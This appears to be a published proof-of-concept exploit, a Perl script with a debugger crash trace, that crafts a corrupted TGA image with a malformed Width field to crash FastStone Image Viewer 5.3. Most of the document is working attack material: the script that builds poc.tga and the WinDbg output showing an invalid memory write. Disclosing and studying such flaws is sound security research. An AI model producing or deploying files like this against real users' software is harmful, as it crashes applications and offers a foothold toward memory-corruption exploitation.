49 lines
No EOL
2.2 KiB
Perl
Executable file
49 lines
No EOL
2.2 KiB
Perl
Executable file
# Exploit Title : FastStoneImage Viewer (Corrupted tga) IMAGESPECIFICATION.Width Crash POC
|
|
# Product : FastStoneImage Viewer
|
|
# Date : 25.02.2015
|
|
# Exploit Author : ITDefensor Vulnerability Research Team http://itdefensor.ru/
|
|
# Software Link : http://www.faststone.org/FSViewerDownload.htm
|
|
# Vulnerable version : 5.3 (Latest at the moment) and probably previous versions
|
|
# Vendor Homepage : http://www.faststone.org/
|
|
# Tested on : FastStoneImage Viewer 5.3 installed on Windows 7 x64, Windows Server 2008
|
|
# CVE : unknown at the moment
|
|
#============================================================================================
|
|
# Open created POC file (poc.tga) with FastStoneImage Viewer
|
|
# Details
|
|
#*** ERROR: Module load completed but symbols could not be loaded for image00000000`00400000
|
|
#image00000000_00400000+0x9357:
|
|
#00409357 893a mov dword ptr [edx],edi ds:002b:00e00880=????????
|
|
#0:000:x86> kb
|
|
#ChildEBP RetAddr Args to Child
|
|
#WARNING: Stack unwind information not available. Following frames may be wrong.
|
|
#0018f688 004ff000 0018f6b4 00404619 0018f6ac image00000000_00400000+0x9357
|
|
#0018f6ac 00425374 0018f6c0 0042537e 0018f6d8 image00000000_00400000+0xff000
|
|
#0018f6d8 004255a2 0018f72c 0018f6f0 004256bb image00000000_00400000+0x25374
|
|
#0018f72c 004257ee 0018f784 00425822 0018f758 image00000000_00400000+0x255a2
|
|
#============================================================================================
|
|
#!/usr/bin/perl -w
|
|
|
|
$tga_id = "tga poc example" ;
|
|
|
|
$tga_header = "\xf" . # IDLength
|
|
"\x00" . # ColorMapType
|
|
"\xa" ; # ImageType
|
|
|
|
$tga_cms_spec = "\x00\x00" . # FirstIndexEntry
|
|
"\x00\x00" . # ColorMapLength
|
|
"\x00" ; # ColorMapEntrySize
|
|
|
|
$tga_image_spec = "\x00\x00" . # XOrigin
|
|
"\x00\x00" . # YOrigin
|
|
"\x00\xa0" . # Width <--- ! Incorrect field, leads to application crash
|
|
"\x80\x00" . # Height
|
|
"\x10" . # PixelDepth
|
|
"\x1" ; # ImageDescriptor
|
|
|
|
$tga_file_header = $tga_header . $tga_cms_spec . $tga_image_spec . $tga_id ;
|
|
$tga = $tga_file_header . "a" x 10000 ;
|
|
|
|
open FILE, ">poc.tga" or die("Can't open poc.tga\n") ;
|
|
binmode(FILE) ;
|
|
print FILE $tga ;
|
|
close FILE ; |